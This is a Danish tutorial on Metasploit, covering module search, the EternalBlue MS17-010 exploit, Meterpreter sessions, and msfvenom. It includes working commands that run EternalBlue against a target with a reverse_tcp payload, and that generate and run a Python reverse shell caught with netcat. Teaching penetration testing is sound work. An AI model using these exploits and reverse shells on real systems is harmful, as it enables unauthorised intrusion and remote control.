Metasploit er et værktøj til hacking/penetration testing, som indeholder en database med færdige exploits (dvs. udnyttelse af sikkerhedshuller som f.eks. kan bruges til at overtage et system). Der er derfor tale om et værktøj som gør det super nemt at hacke sig ind i mange systemer, som ikke har fuldt opdateret software.
Metasploit kan started ved f.eks. at skrive msfconsole
i terminalen Kali Linux (evt. med sudo
), hvor det er installeret i forvejen.
Som ny Metasploit-bruger bør du starte med at skrive kommandoen help
, som giver dig en liste over kommandoer.
Bemærk at du kan bruge help
foran andre kommandoer for at se hvordan de bruges.
Søgning
Du søger efter et exploit/modul med search
-kommandoen, og kan evt. bare søge efter navnet på et exploit:
msf6 > search eternalblue Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce
Du kan også søge på f.eks. port og platform eller CVE (se help search
for mere info):
msf6 > search port:445 platform:windows Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/brightstor/etrust_itm_alert 2008-04-04 average No Computer Associates Alert Notification Buffer Overflow 1 exploit/windows/oracle/extjob 2007-01-01 excellent Yes Oracle Job Scheduler Named Pipe Command Execution ... Mere info her ... 18 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 19 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 20 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution ... Mere info her ... 25 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code Execution Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/smb/webexec msf6 > search cve:2017-0144 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 1 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 2 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 3 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/smb/smb_doublepulsar_rce
Brug af moduler
Når du har lavet en søgning med search
kan du bruge info <ID #>
til at læse mere modulet:
msf6 > info 1 Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption Module: exploit/windows/smb/ms17_010_eternalblue Platform: Windows ... Mere info her ... Available targets: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs ... Mere info her ... Also known as: ETERNALBLUE
Her er ID-nummeret givet i første kolonne i output fra din seneste search
-kommando.
Hvis du vil bruge et modul skriver du use <ID #>
, og du vil se en rød tekst tilføjdet til din prompt:
msf6 > use 1
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Når du er færdig med et modul går du ud af det igen med back
:
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >
Moduler bruger ofte en række parametre, som du skal sætte for modulet kan bruges. Når du har valgt et modul (med use
),
kan du skrive enten show options
for at se hvilke parametre, som modulet bruger. Det meste kan du også se ved at skrive info
.
Mange moduler kræver at du sætter rhosts
, rport
og lhost
. Her er rhosts
IP-adressen, som du vil angribe (remote host),
rport
er porten, som du vil angribe, mens lhost
er din IP-adresse (som bliver brugt ved f.eks. reverse_tcp payload).
Du kan også vælge en lokal port, som der skal forbindes til med lport
.
Du sætter parametre med set
-kommandoen:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.40 rhosts => 10.10.10.40 msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.38 lhost => 10.10.14.38
Du kan bruge show options
for at se, hvad du har sat parametrene til.
Bemærk: Det kan være en fordel at sætte parametre før du går ind i et modul med use
, da de ellers nulstilles når du går ud af et modul med back
.
Du kan se en liste over mulige payloads til det valgte modul ved at skrive show payloads
, og så vælge et bestemt payload med set payload < payload >
.
Når du har sat alle parametre op, kan du køre et modul med exploit
eller run
:
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Sessions og Meterpreter
Mange exploits i Metasploit kan ende med at give dig adgang til et andet system - enten en almindelig shell eller en "Meterpreter" shell - og denne adgang bliver håndteret som en session i Metasploit.
Hvis du kører et modul med exploit -j
vil en eventuel session blive startet i baggrunden, i stedet for at du får en shell op med det samme.
Du kan desuden starte mange sessions i baggrunden på denne måde (se evt. også på multi/handler
-modulet).
Følgende kommandoer er gode at kende til håndtering af sessions:
sessions # Viser alle aktive sessions og deres ID sessions -i < ID > # Start en meterpreter/shell for sessionen med det angivne ID sessions -u < ID > # Forsøg at opgradere en session til meterpreter
Hvis du starter en meterpreter for en session, kan du skrive bg
i meterpreter-terminalen for at komme ud af meterpreter-sessionen og tilbage til Metasploit - uden at lukke sessionen ned.
Meterpreter er en speciel form for shell, som giver dig mulighed for at køre en lang række forskellige kommandoer - skriv help
i meterpreter for at se en liste.
Oftest bruger jeg kun shell
-kommandoen, der giver en shell på systemet.
Bemærk at nogle moduler i Metasploit kan køres på sessions, f.eks. post/multi/recon/local_exploit_suggester
der kan hjælpe med privilege escalation (f.eks. opnå root-access).
Msfvenom
Du kan ikke altid bare bruge Metasploit til helt automatisk at give dig adgang til et system, og ofte kan det være nødvendigt manuelt at starte en session.
Til dette kan du bruge programmet msfvenom
til at generere dit payload (som alternativ til f.eks. at bruge de webshells der er indbygget i Kali).
Du kan få info om at bruge msfvenom
med disse kommandoer:
msfvenom help # Viser hvordan du bruger msfvenom msfvenom --list payloads # Viser liste med mulige payloads msfvenom --list formats # Viser liste med mulige formater
Her er et konkret eksempel - lad os lave en reverse-tcp shell via Python:
msfvenom -p python/shell_reverse_tcp -f python LHOST=127.0.0.1 LPORT=4242 > reverse_shell.py echo "eval(buf)" >> reverse_shell.py
Bemærk her at msfvenom kun laver bytecode klar til at starte en reverse-tcp shell, som bliver gemt i en string med navnet "buf".
Derfor tilføjes en linie til python-filen, som kører koden (eval(buf)
).
Læg desuden mærke til LHOST
og LPORT
, der har samme betydning som i Metasploit-moduler - det er IP og portnr. som dit payload vil forbinde til med en reverse shell.
For at teste ovenstående (med localhost/127.0.0.1 som IP) kan du sætte netcat til at lytte på port 4242:
nc -lnvp 4242
Dernæst kan du køre python-koden fra et andet terminal-vindue:
python3 reverse_shell.py
Din netcat-terminal har nu en reverse-tcp shell (prøv f.eks. at skrive ls
eller pwd
i netcat).
Ligesom du kan få en shell via netcat, kan du også bruge Metasploit:
Her åbnes en session igen ved at køre python-filen lavet vha. msfvenom, og sessionen opgraderes til en Meterpreter session.